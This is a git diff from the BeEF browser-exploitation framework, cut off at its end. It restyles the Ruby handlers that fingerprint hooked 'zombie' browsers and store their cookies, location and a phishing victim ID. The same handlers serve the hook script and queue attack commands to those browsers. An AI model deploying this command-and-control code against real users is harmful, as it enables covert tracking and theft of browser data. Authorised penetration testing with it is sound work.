"[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'" else # print_debug "[INIT] Geolocation results: #{geoip}" - BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", zombie.id.to_s) BD.set( session_id, 'location.city', - "#{geoip['city']['names']['en'] rescue 'Unknown'}") + (begin + geoip['city']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country', - "#{geoip['country']['names']['en'] rescue 'Unknown' }") + (begin + geoip['country']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country.isocode', - "#{geoip['country']['iso_code'] rescue 'Unknown'}") + (begin + geoip['country']['iso_code'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country.registered_country', - "#{geoip['registered_country']['names']['en'] rescue 'Unknown'}") + (begin + geoip['registered_country']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country.registered_country.isocode', - "#{geoip['registered_country']['iso_code'] rescue 'Unknown'}") + (begin + geoip['registered_country']['iso_code'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.continent', - "#{geoip['continent']['names']['en'] rescue 'Unknown'}") + (begin + geoip['continent']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.continent.code', - "#{geoip['continent']['code'] rescue 'Unknown'}") + (begin + geoip['continent']['code'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.latitude', - "#{geoip['location']['latitude'] rescue 'Unknown'}") + (begin + geoip['location']['latitude'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.longitude', - "#{geoip['location']['longitude'] rescue 'Unknown'}") + (begin + geoip['location']['longitude'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.timezone', - "#{geoip['location']['time_zone'] rescue 'Unknown'}") + (begin + geoip['location']['time_zone'] + rescue StandardError + 'Unknown' + end).to_s + ) end end # detect browser proxy using_proxy = false - [ - 'CLIENT_IP', - 'FORWARDED_FOR', - 'FORWARDED', - 'FORWARDED_FOR_IP', - 'PROXY_CONNECTION', - 'PROXY_AUTHENTICATE', - 'X_FORWARDED', - 'X_FORWARDED_FOR', - 'VIA' + %w[ + CLIENT_IP + FORWARDED_FOR + FORWARDED + FORWARDED_FOR_IP + PROXY_CONNECTION + PROXY_AUTHENTICATE + X_FORWARDED + X_FORWARDED_FOR + VIA ].each do |header| unless JSON.parse(zombie.httpheaders)[header].nil? using_proxy = true @@ -184,15 +232,15 @@ def setup() # retrieve proxy client IP proxy_clients = [] - [ - 'CLIENT_IP', - 'FORWARDED_FOR', - 'FORWARDED', - 'FORWARDED_FOR_IP', - 'X_FORWARDED', - 'X_FORWARDED_FOR' + %w[ + CLIENT_IP + FORWARDED_FOR + FORWARDED + FORWARDED_FOR_IP + X_FORWARDED + X_FORWARDED_FOR ].each do |header| - proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil? + proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? end # retrieve proxy server @@ -203,20 +251,18 @@ def setup() BD.set(session_id, 'network.proxy', 'Yes') proxy_log_string = "#{zombie.ip} is using a proxy" unless proxy_clients.empty? - BD.set(session_id, 'network.proxy.client', "#{proxy_clients.sort.uniq.join(',')}") + BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s) proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]" end unless proxy_server.nil? - BD.set(session_id, 'network.proxy.server', "#{proxy_server}") + BD.set(session_id, 'network.proxy.server', proxy_server.to_s) proxy_log_string += " [server: #{proxy_server}]" - if config.get("beef.extension.network.enable") == true - if proxy_server =~ /^([\d\.]+):([\d]+)$/ - print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]") - BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy') - end + if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\d.]+):(\d+)$/) + print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]") + BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy') end end - BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s) end # get and store browser version @@ -224,7 +270,7 @@ def setup() if BeEF::Filters.is_valid_browserversion?(browser_version) BD.set(session_id, 'browser.version', browser_version) else - self.err_msg "Invalid browser version returned from the hook browser's initial connection." + err_msg "Invalid browser version returned from the hook browser's initial connection." end # get and store browser string @@ -232,7 +278,7 @@ def setup() if BeEF::Filters.is_valid_browserstring?(browser_string) BD.set(session_id, 'browser.name.reported', browser_string) else - self.err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection." end # get and store browser engine @@ -240,7 +286,7 @@ def setup() if BeEF::Filters.is_valid_browserstring?(browser_engine) BD.set(session_id, 'browser.engine', browser_engine) else - self.err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection." end # get and store browser language @@ -252,7 +298,7 @@ def setup() if BeEF::Filters.is_valid_cookies?(cookies) BD.set(session_id, 'browser.window.cookies', cookies) else - self.err_msg "Invalid cookies returned from the hook browser's initial connection." + err_msg "Invalid cookies returned from the hook browser's initial connection." end # get and store the OS name @@ -260,7 +306,7 @@ def setup() if BeEF::Filters.is_valid_osname?(os_name) BD.set(session_id, 'host.os.name', os_name) else - self.err_msg "Invalid operating system name returned from the hook browser's initial connection." + err_msg "Invalid operating system name returned from the hook browser's initial connection." end # get and store the OS family @@ -268,7 +314,7 @@ def setup() if BeEF::Filters.is_valid_osname?(os_family) BD.set(session_id, 'host.os.family', os_family) else - self.err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection." + err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection." end # get and store the OS version @@ -289,7 +335,7 @@ def setup() if BeEF::Filters.is_valid_hwname?(hw_type) BD.set(session_id, 'hardware.type', hw_type) else - self.err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection." end # get and store the date @@ -297,7 +343,7 @@ def setup() if BeEF::Filters.is_valid_date_stamp?(date_stamp) BD.set(session_id, 'browser.date.datestamp', date_stamp) else - self.err_msg "Invalid date returned from the hook browser's initial connection." + err_msg "Invalid date returned from the hook browser's initial connection." end # get and store page title @@ -305,7 +351,7 @@ def setup() if BeEF::Filters.is_valid_pagetitle?(page_title) BD.set(session_id, 'browser.window.title', page_title) else - self.err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection." end # get and store page origin @@ -313,7 +359,7 @@ def setup() if BeEF::Filters.is_valid_url?(origin) BD.set(session_id, 'browser.window.origin', origin) else - self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store page uri @@ -321,7 +367,7 @@ def setup() if BeEF::Filters.is_valid_url?(page_uri) BD.set(session_id, 'browser.window.uri', page_uri) else - self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection." end # get and store the page referrer @@ -329,7 +375,7 @@ def setup() if BeEF::Filters.is_valid_pagereferrer?(page_referrer) BD.set(session_id, 'browser.window.referrer', page_referrer) else - self.err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection." end # get and store hooked window host port @@ -337,7 +383,7 @@ def setup() if BeEF::Filters.is_valid_hostname?(host_name) BD.set(session_id, 'browser.window.hostname', host_name) else - self.err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection." + err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection." end # get and store hooked window host port @@ -345,7 +391,7 @@ def setup() if BeEF::Filters.is_valid_port?(host_port) BD.set(session_id, 'browser.window.hostport', host_port) else - self.err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection." + err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection." end # get and store the browser plugins @@ -353,7 +399,7 @@ def setup() if BeEF::Filters.is_valid_browser_plugins?(browser_plugins) BD.set(session_id, 'browser.plugins', browser_plugins) else - self.err_msg "Invalid browser plugins returned from the hook browser's initial connection." + err_msg "Invalid browser plugins returned from the hook browser's initial connection." end # get and store the system platform @@ -361,7 +407,7 @@ def setup() if BeEF::Filters.is_valid_system_platform?(system_platform) BD.set(session_id, 'browser.platform', system_platform) else - self.err_msg "Invalid browser platform returned from the hook browser's initial connection." + err_msg "Invalid browser platform returned from the hook browser's initial connection." end # get and store the zombie screen color depth @@ -369,7 +415,7 @@ def setup() if BeEF::Filters.nums_only?(screen_colordepth) BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth) else - self.err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection." end # get and store the zombie screen width @@ -377,7 +423,7 @@ def setup() if BeEF::Filters.nums_only?(screen_size_width) BD.set(session_id, 'hardware.screen.size.width', screen_size_width) else - self.err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection." end # get and store the zombie screen height @@ -385,16 +431,15 @@ def setup() if BeEF::Filters.nums_only?(screen_size_height) BD.set(session_id, 'hardware.screen.size.height', screen_size_height) else - self.err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection." end - # get and store the window height window_height = get_param(@data['results'], 'browser.window.size.height') if BeEF::Filters.nums_only?(window_height) BD.set(session_id, 'browser.window.size.height', window_height) else - self.err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection." end # get and store the window width @@ -402,18 +447,18 @@ def setup() if BeEF::Filters.nums_only?(window_width) BD.set(session_id, 'browser.window.size.width', window_width) else - self.err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection." + err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection." end # store and log IP details of host print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]") - if os_name != nil and os_version != nil - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name + "-" + os_version) - elsif os_name != nil - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host', :os => os_name) + if !os_name.nil? and !os_version.nil? + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version) + elsif !os_name.nil? + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name) else - BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host') + BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host') end # get and store the yes|no value for browser capabilities @@ -432,14 +477,14 @@ def setup() 'browser.capabilities.webworker', 'browser.capabilities.websocket', 'browser.capabilities.webgl', - 'browser.capabilities.webrtc', + 'browser.capabilities.webrtc' ] capabilities.each do |k| v = get_param(@data['results'], k) if BeEF::Filters.is_valid_yes_no?(v) BD.set(session_id, k, v) else - self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection." + err_msg "Invalid value for #{k} returned from the hook browser's initial connection." end end @@ -448,7 +493,7 @@ def setup() if BeEF::Filters.is_valid_memory?(memory) BD.set(session_id, 'hardware.memory', memory) else - self.err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu @@ -456,7 +501,7 @@ def setup() if BeEF::Filters.is_valid_gpu?(gpu) BD.set(session_id, 'hardware.gpu', gpu) else - self.err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection." end # get and store the value for hardware.gpu.vendor @@ -464,7 +509,7 @@ def setup() if BeEF::Filters.is_valid_gpu?(gpu_vendor) BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor) else - self.err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.arch @@ -472,7 +517,7 @@ def setup() if BeEF::Filters.is_valid_cpu?(cpu_arch) BD.set(session_id, 'hardware.cpu.arch', cpu_arch) else - self.err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection." end # get and store the value for hardware.cpu.cores @@ -480,15 +525,15 @@ def setup() if BeEF::Filters.alphanums_only?(cpu_cores) BD.set(session_id, 'hardware.cpu.cores', cpu_cores) else - self.err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection." end # get and store the value for hardware.battery.level battery_level = get_param(@data['results'], 'hardware.battery.level') - if battery_level == 'unknown' || battery_level =~ /\A[\d\.]+%\z/ + if battery_level == 'unknown' || battery_level =~ /\A[\d.]+%\z/ BD.set(session_id, 'hardware.battery.level', battery_level) else - self.err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection." + err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection." end # get and store the value for hardware.screen.touchenabled @@ -496,7 +541,7 @@ def setup() if BeEF::Filters.is_valid_yes_no?(touch_enabled) BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled) else - self.err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection." + err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection." end if config.get('beef.integration.phishing_frenzy.enable') @@ -506,34 +551,29 @@ def setup() if BeEF::Filters.alphanums_only?(victim_uid) BD.set(session_id, 'PhishingFrenzyUID', victim_uid) else - self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection." + err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection." end end # log a few info of newly hooked zombie in the console - print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]" + print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port}]" # add localhost as network host if config.get('beef.extension.network.enable') - print_debug("Hooked browser has network interface 127.0.0.1") - BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) + print_debug('Hooked browser has network interface 127.0.0.1') + BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost', + os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name')) end # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel # is WebSockets, then ARe rules are triggered after channel is established. - unless config.get("beef.http.websocket.enable") - BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) - end + BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) unless config.get('beef.http.websocket.enable') end def get_param(query, key) - (query.class == Hash and query.has_key?(key)) ? query[key].to_s : nil + (query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil end end - - end end end - - diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 08db19c200..5aa962e588 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -4,107 +4,107 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Handlers - class Commands + module Core + module Handlers + class Commands + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::Command - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::Command + @data = {} - @data = {} + # + # Handles command data + # + # @param [Hash] data Data from command execution + # @param [Class] kclass Class of command + # + # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. + # + def initialize(data, kclass) + @kclass = BeEF::Core::Command.const_get(kclass.capitalize) + @data = data + setup + end - # - # Handles command data - # - # @param [Hash] data Data from command execution - # @param [Class] kclass Class of command - # - # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. - # - def initialize(data, kclass) - @kclass = BeEF::Core::Command.const_get(kclass.capitalize) - @data = data - setup - end + # + # @note Initial setup function, creates the command module and saves details to datastore + # + def setup + @http_params = @data['request'].params + @http_header = {} + http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value| + @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') + end - # - # @note Initial setup function, creates the command module and saves details to datastore - # - def setup - @http_params = @data['request'].params - @http_header = {} - http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value| - @http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') - } + # @note get and check command id from the request + command_id = get_param(@data, 'cid') + unless command_id.integer? + print_error 'command_id is invalid' + return + end - # @note get and check command id from the request - command_id = get_param(@data, 'cid') - unless command_id.integer? - print_error "command_id is invalid" - return - end + # @note get and check session id from the request + beefhook = get_param(@data, 'beefhook') + unless BeEF::Filters.is_valid_hook_session_id?(beefhook) + print_error 'BeEF hook is invalid' + return + end - # @note get and check session id from the request - beefhook = get_param(@data, 'beefhook') - unless BeEF::Filters.is_valid_hook_session_id?(beefhook) - print_error "BeEF hook is invalid" - return - end + result = get_param(@data, 'results') - result = get_param(@data, 'results') + # @note create the command module to handle the response + command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) + command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header) + command.session_id = beefhook + command.post_execute if command.respond_to?(:post_execute) - # @note create the command module to handle the response - command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) - command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header) - command.session_id = beefhook - command.post_execute if command.respond_to?(:post_execute) + # @todo this is the part that store result on db and the modify + # will be accessible from all the framework and so UI too + # @note get/set details for datastore and log entry + command_friendly_name = command.friendlyname + if command_friendly_name.empty? + print_error 'command friendly name is empty' + return + end - # @todo this is the part that store result on db and the modify - # will be accessible from all the framework and so UI too - # @note get/set details for datastore and log entry - command_friendly_name = command.friendlyname - if command_friendly_name.empty? - print_error 'command friendly name is empty' - return - end + command_status = @data['status'] + unless command_status.integer? + print_error 'command status is invalid' + return + end - command_status = @data['status'] - unless command_status.integer? - print_error 'command status is invalid' - return - end + command_results = @data['results'] + if command_results.empty? + print_error 'command results are empty' + return + end - command_results = @data['results'] - if command_results.empty? - print_error 'command results are empty' - return - end + # @note save the command module results to the datastore and create a log entry + command_results = { 'data' => command_results } + BeEF::Core::Models::Command.save_result( + beefhook, + command_id, + command_friendly_name, + command_results, + command_status + ) + end - # @note save the command module results to the datastore and create a log entry - command_results = { 'data' => command_results } - BeEF::Core::Models::Command.save_result( - beefhook, - command_id, - command_friendly_name, - command_results, - command_status - ) - end + # + # @note Returns parameter from hash + # + # @param [Hash] query Hash of data to return data from + # @param [String] key Key to search for and return inside `query` + # + # @return Value referenced in hash at the supplied key + # + def get_param(query, key) + return unless query.instance_of?(Hash) + return unless query.key?(key) - # - # @note Returns parameter from hash - # - # @param [Hash] query Hash of data to return data from - # @param [String] key Key to search for and return inside `query` - # - # @return Value referenced in hash at the supplied key - # - def get_param(query, key) - return unless query.class == Hash - return unless query.key?(key) - query[key] + query[key] + end + end end end end -end -end diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb index 10ee070022..b1de230a9c 100644 --- a/core/main/handlers/hookedbrowsers.rb +++ b/core/main/handlers/hookedbrowsers.rb @@ -4,137 +4,135 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Handlers - - # @note This class handles connections from hooked browsers to the framework. - class HookedBrowsers < BeEF::Core::Router::Router - - - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::LegacyBeEFJS - include BeEF::Core::Handlers::Modules::Command - - #antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file. - configure do - disable :protection - end - - # Process HTTP requests sent by a hooked browser to the framework. - # It will update the database to add or update the current hooked browser - # and deploy some command modules or extensions to the hooked browser. - get '/' do - @body = '' - params = request.query_string - #@response = Rack::Response.new(body=[], 200, header={}) - config = BeEF::Core::Configuration.instance - - # @note check source ip address of browser - permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') - if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty? - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") - error 404 - end - - found = false - permitted_hooking_subnet.each do |subnet| - found = true if IPAddr.new(subnet).include?(request.ip) - end - - unless found - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") - error 404 - end - - excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet') - unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty? - excluded_ip_hooked = false - - excluded_hooking_subnet.each do |subnet| - excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip) - end - - if excluded_ip_hooked - BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.") - error 404 + module Core + module Handlers + # @note This class handles connections from hooked browsers to the framework. + class HookedBrowsers < BeEF::Core::Router::Router + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::LegacyBeEFJS + include BeEF::Core::Handlers::Modules::Command + + # antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file. + configure do + disable :protection end - end - # @note get zombie if already hooked the framework - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_id = request[hook_session_name] - begin - raise ActiveRecord::RecordNotFound if hook_session_id.nil? - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first - rescue ActiveRecord::RecordNotFound - hooked_browser = false - end + # Process HTTP requests sent by a hooked browser to the framework. + # It will update the database to add or update the current hooked browser + # and deploy some command modules or extensions to the hooked browser. + get '/' do + @body = '' + params = request.query_string + # @response = Rack::Response.new(body=[], 200, header={}) + config = BeEF::Core::Configuration.instance + + # @note check source ip address of browser + permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet') + if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty? + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") + error 404 + end - # @note is a new browser so return instructions to set up the hook - if not hooked_browser + found = false + permitted_hooking_subnet.each do |subnet| + found = true if IPAddr.new(subnet).include?(request.ip) + end - # @note generate the instructions to hook the browser - host_name = request.host - (print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name) + unless found + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.") + error 404 + end - # Generate the hook js provided to the hookwed browser (the magic happens here) - if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable") - build_beefjs!(host_name) - else - legacy_build_beefjs!(host_name) - end - # @note is a known browser so send instructions - else - # @note Check if we haven't seen this browser for a while, log an event if we haven't - if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60 - BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}") - end + excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet') + unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty? + excluded_ip_hooked = false - # @note record the last poll from the browser - hooked_browser.lastseen = Time.new.to_i + excluded_hooking_subnet.each do |subnet| + excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip) + end - # @note Check for a change in zombie IP and log an event - if config.get('beef.http.use_x_forward_for') == true - if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"] - BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}") - hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"] + if excluded_ip_hooked + BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.") + error 404 + end end - else - if hooked_browser.ip != request.ip - BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}") - hooked_browser.ip = request.ip - end - end - hooked_browser.count! - hooked_browser.save! + # @note get zombie if already hooked the framework + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_id = request[hook_session_name] + begin + raise ActiveRecord::RecordNotFound if hook_session_id.nil? - # @note add all available command module instructions to the response - zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first + rescue ActiveRecord::RecordNotFound + hooked_browser = false + end - # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hook_session_id) - are_executions.each do |are_exec| - @body += are_exec.mod_body - are_exec.update(:is_sent => true, :exec_time => Time.new.to_i) - end + # @note is a new browser so return instructions to set up the hook + if hooked_browser + # @note Check if we haven't seen this browser for a while, log an event if we haven't + if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60 + BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s) + end + + # @note record the last poll from the browser + hooked_browser.lastseen = Time.new.to_i + + # @note Check for a change in zombie IP and log an event + if config.get('beef.http.use_x_forward_for') == true + if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR'] + BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s) + hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR'] + end + elsif hooked_browser.ip != request.ip + BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s) + hooked_browser.ip = request.ip + end + + hooked_browser.count! + hooked_browser.save! + + # @note add all available command module instructions to the response + zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered + are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id) + are_executions.each do |are_exec| + @body += are_exec.mod_body + are_exec.update(is_sent: true, exec_time: Time.new.to_i) + end + + # @note We dynamically get the list of all browser hook handler using the API and register them + BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) + else + + # @note generate the instructions to hook the browser + host_name = request.host + unless BeEF::Filters.is_valid_hostname?(host_name) + (print_error 'Invalid host name' + return) + end + + # Generate the hook js provided to the hookwed browser (the magic happens here) + if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable') + build_beefjs!(host_name) + else + legacy_build_beefjs!(host_name) + end + # @note is a known browser so send instructions + end - # @note We dynamically get the list of all browser hook handler using the API and register them - BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response) + # @note set response headers and body + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' + @body + end end - - # @note set response headers and body - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0', - 'Content-Type' => 'text/javascript', - 'Access-Control-Allow-Origin' => '*', - 'Access-Control-Allow-Methods' => 'POST, GET' - @body end end - -end -end end diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index e27ff2bc2c..808f8af628 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -7,10 +7,8 @@ module BeEF module Core module Handlers module Modules - # @note Purpose: avoid rewriting several times the same code. module BeEFJS - # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) @@ 